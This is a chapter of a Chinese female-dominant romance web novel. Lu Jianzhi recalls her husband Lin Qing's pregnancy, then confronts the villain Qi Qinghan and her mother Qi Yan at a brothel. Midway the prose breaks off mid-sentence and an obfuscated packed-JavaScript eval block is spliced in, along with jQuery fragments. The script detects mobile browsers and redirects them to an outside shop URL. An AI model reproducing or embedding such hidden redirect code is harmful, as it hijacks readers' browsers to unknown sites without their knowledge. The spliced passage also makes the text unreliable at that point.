17. 第 17 章

作品:《被迫成婚后(女尊)

    陆简之想起,她们之间也并非没有温存的时候。


    永安九年,那时她们成婚不过一年,陆简之对这门已成定局的婚事还是抗拒,自己的院落又被另一人占据,陆简之不想和他接触,相较于长宁侯府,她更愿意歇在国子监的学舍,或是唐临家那间不大的二进宅子。


    唐临一家几口都不够住的,还来了个陆简之,两人抵足而眠,还要听她倒苦水,唐临烦不胜烦。


    陆简之:“他又勾引我。”


    唐临:“?”


    陆简之:“昨日我一回去,他就穿得那么……那么……一看就是勾引人的样子,还亲手做了一桌子菜,都是我喜欢吃的,我说了多次,各过各的就行,我不会管他也无需他管我,他怎么就不听呢。”


    唐临:“……然后呢?”


    陆简之叹气:“我一口没吃,生怕他又扑上来,赶紧跑来找你了。”


    “……”唐临道,“你是说你放下珍馐美味俏夫郎专门来和我炫耀吗?”


    “……也不是这个意思。”


    “这都多晚了,人家小郎君特意为你准备了一桌子好菜,指不定有什么大事要和你说,你倒好,一声不吭就跑了。”


    “你说你,多难的题目都能出口成章闭目成诵,怎么一遇着感情的事就知道躲,娶都娶了,你还想怎么着吧,赶紧回去,我饭都吃不起了还得听你说些有的没的,走走走!烦人!”


    陆简之又被赶出来。


    月夜星明,无处可去,只好又慢慢往家的方向走。


    林卿近日总是嗜睡,这会儿应该已经歇下了。


    陆简之走到卧房,却见门边坐着一个人。


    他蜷成一团,抱着膝盖,脑袋紧紧埋进臂弯,听见动静,抬起一张满是泪痕的脸,看到陆简之又开始哭。


    陆简之不耐道:“又怎么了?”


    “妻主。”林卿吸了吸鼻子,“我,我就是想和你说,我怀孕了……”


    陆简之脑子倏地一片空白。


    林卿伸出手,紧紧抓着她的衣袖,眼里掉着泪,一眨不眨地看着她,委屈又无措:“妻主是不想要这个孩子吗……”


    说到最后,一腔委屈已经克制不住,眼泪断了线一般顺着脸庞滑落。


    陆简之垂眼看着林卿的泪颜,心神震颤,僵立片刻,缓缓弯下腰捧起他的脸给他拭泪:“没有。”


    她说:“没有不想要,进去吧。”


    林卿呆呆看着她,终于确认她说的是真话,呜咽一声,扑进她怀里大哭。


    *


    所有人都在找他的时候不出来,现在又送上门来。


    陆简之斥道:“闭嘴,还不快走!”


    “想来就来想走就走,哪有那么容易。”


    齐青寒挥手命人上前,新仇旧恨,这小郎君愿意从了她还好说,若不从,她也不介意让她们做对亡命鸳鸯。


    林卿躲在门后,眼看就要被人拿住,陆简之心急如焚,千钧一发之际截了旁边人的刀腾空一跃,在所有人还未反应过来时闪到齐青寒身后,把刀架在她脖子上。


    齐青寒大骇。


    “大胆!我娘是千机卫指挥使,你敢杀,你——”


    这狗贼,今日就地杀了也是为民除害。


    陆简之横刀在她脖颈,正要动手,忽听得铮然一声,一枚羽箭从旁射来,落在刀刃偏移三分,齐青寒的脖颈瞬间多了一道血痕。


    “住手!”


    马蹄声刺破宜城今夜的宁静,更多的人马涌进秋云楼。


    为首之人身着四品官服,神情端肃,气势逼人,她勒马向前,近看才发觉眉眼与齐青寒有三分相似。


    齐青寒扯着嗓子喊:“娘,救命——”


    陆简之刀握得更紧,架着齐青寒后退。


    指挥使带来的人马亦是不少,与齐青寒这边的人一合并,一致围上陆简之,她今夜想逃出秋云楼,不死也得去层皮。


    齐青寒叫得猖狂得意:“陆简之,你还是赶紧把我放了,我还能让你少吃点苦头,痛痛快快地往生,有我娘在这,你——”


    她一句话没说完,齐彦已忍无可忍,喝道:“闭嘴!蠢货!”


    “不过是娶了她一个远方外甥,就对她点头哈腰言听计从,老娘养了你这么多年怎么不见你这么听话,被人当刀使了你知不知道?!”


    齐青寒惊愕:“娘,你说什么呢?”


    齐彦沉着脸色,挥手让手下人把刀收起来。


    “贤侄。”陆简之那年一架把齐青寒打出洛京,齐彦犹介怀在心,此刻不得不说,“陆侯一生英勇,我也是看着你长大的,青寒这孩子,是我教女无方,一路给你使绊子,我定带她回家严加管教,今次就看在我的面子上,放了她吧,我保证,一定让你顺利走到云川。”


    陆简之冷笑:“放了她?齐大人说得容易,这厮害我一家几口险些丧命,岂是你一两句话就能过去的,再者,我怎知你们不是故意诓我?!”


    “你可以不信我,但你妹妹总该信吧?”


    “何意?”


    两人对峙,林卿趁机拨开人群,跑到陆简之身边对她说了几句话。


    齐彦看了他一眼,继续道:“驿站走水的次日,就有人想办法往洛京送信,信中言及你身上负伤,极可能落难到宜城,陆侯拿剑连夜闯了我的府邸,我这才知这逆女背着我做的混帐事。”


    “齐某只忠于陛下,你与杨家各自为政,是死是活,我不会掺和,以后也会严令青寒谨言慎行。”


    齐彦仰头看了看天色:“我离京时,令妹也在路上,她骑术不精慢我一步,此时应该也快到了。”


    折腾一宿,天都要亮了。


    陆简之也不急,捞了张椅子坐下,把齐青寒扣在地上,刀锋对着她,齐青寒被迫跪着,人傻了眼:“娘,你快救我啊娘,你疯了吗和她谈什么条件……”


    陆简之一掌拍她后颈上,终于闭嘴老实了。


    “还有你。”陆简之把林卿拉到面前,一副审人的架势,“你是怎么回事?叫你走为什么不走?”


    林卿咬着唇,小声说:“我躲在外面,看到繁之传来的信鸽,就想过来给你报个信……”


    他摊开手,掌心躺着一张卷起来的字条,上书:“不日便到,阿姐等我。”


    落款是长宁侯府特有的标识,这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921155|191467||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    信鸽经过特殊训练,唯见自家人才会歇脚,繁之应是怕她等不及在路上放的,刚好比她快了半日抵达。


    陆简之收了字条,方才没细看,现在才发觉林卿一身纱衣,面染烟霞,乌发披散在肩头,与秋云楼那些小倌人们一样的装扮,他又不曾落过风尘,不知如何伺候女人,青涩撩人而不自知。


    他就这副样子,出现在齐青寒这个禽兽面前,陆简之脸色差得不能再差:“谁给你找的这身破衣裳?”


    说着脱下自己的外袍丢给他:“穿上。”


    林卿低头一看,耳根通红,乖乖穿上衣裳老老实实躲在她身后。


    陆简之道:“回去再跟你算账。”


    三更破晓,唐临出动县衙所有的人手,与陆繁之带来的侯府护卫一同挤进了秋云楼。


    陆繁之一看见亲姐就扑上去开始嚎:“姐,吓死我了,娘跟我说你遇到刺杀,差点以为这辈子就见不到你了——”


    陆简之把这二货从自己身上扒拉下来,没好气道:“你有点正形吧。”


    “好了。”齐彦起身道,“人都到了,陆侯在京等着消息,我就算有心,也绝不敢在这个时候做什么,她日事发陛下怪罪,我万死难赎。”


    “简之,可以把这逆女交给我了吧。”


    陆繁之转头瞥见齐青寒要死不活倒在地上,一脚踹过去:“交个屁!看我今天不打死你——”


    “行了行了。”陆繁之是个属炮仗的,唐临和陆简之忙拽着人拉回来,陆简之拎起一壶茶从齐青寒头上浇下去,齐青寒醒来,见周围满满当当站了一屋子人。


    指挥使千里迢迢,亲自来保,陆简之再如何气愤也不可能在齐彦眼睛底下杀了她的女儿。


    “滚。”


    在宜城经营多年,声名赫赫的秋云楼就此落败,天一亮,许多外地人得知消息进城来接自己的儿子,骨肉离散多年,一见面哭声止都止不住,林卿站在旁边颇受触动。


    秋云楼正式贴上封条,所赚赃款充公,一行人往县衙走去。


    林卿担惊受怕了一夜,滴水未进,终于尘埃落定可以缓口气,一下子腿软差点跌倒在地。


    “你怎么回事?”


    陆简之扶住他,林卿借力起身,两只手抱住她的腰,脑袋埋在她胸前,低声泣道:“妻主……”


    “怎么了?”


    忙了一夜都是为了找他,他倒还委屈上了。


    林卿抱着她不撒手:“我还以为妻主不要我了……”


    躲在柴房的时候满心满眼都是害怕,有胆子大的郎君出去打探消息,说官府把歹人抓住了要放人,但又来了一伙来历不明的人。


    大多数郎君家在本地,林卿帮他们解了绳子,几人乘乱逃走,林卿缩在柴房怕齐青寒的人发现不敢出去,一直等一直等,等到所有人都走了就剩下他一个。


    他小心翼翼地推开门,仰头见停在屋檐上不停扑棱翅膀的信鸽。


    陆简之看了他一会儿,推开他,用指腹给他擦泪,声音很轻,一向正人君子的人说出的话竟带着几分恶劣。


    “那你听话点。”


    “不然,就真的不要你了。”